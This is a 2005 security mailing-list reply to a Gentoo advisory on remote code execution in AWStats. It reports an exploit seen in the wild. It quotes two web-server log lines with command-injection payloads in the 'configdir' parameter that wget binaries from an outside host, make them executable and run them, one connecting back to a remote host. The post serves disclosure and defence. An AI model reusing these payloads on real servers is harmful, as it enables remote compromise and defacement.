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Re: [ GLSA 200501-36 ] AWStats: Remote code execution
- To: bugtraq@xxxxxxxxxxxxxxxxx, full-disclosure@xxxxxxxxxxxxxxxx, security-alerts@xxxxxxxxxxxxxxxxx
- Subject: Re: [ GLSA 200501-36 ] AWStats: Remote code execution
- From: Delian Krustev <krustev@xxxxxxxxxxx>
- Date: Wed, 26 Jan 2005 20:31:51 +0200
There's an exploit in the wild. Here's what it does:
200.96.166.252 - - [26/Jan/2005:06:32:00 +0000] "GET
/cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/cgi;ls%20-la%20cgi;chmod%20777%20cgi;./cgi;%00
HTTP/1.1" 200 538 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
200.96.166.252 - - [26/Jan/2005:06:34:30 +0000] "GET
/cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00
HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
I don't have the time to investigate the "cgi" and "dc" binaries.
The "cgi" at least tries to daemonize and opens a TCP listening socket.
They also try to replace the index page on the vulnerable site.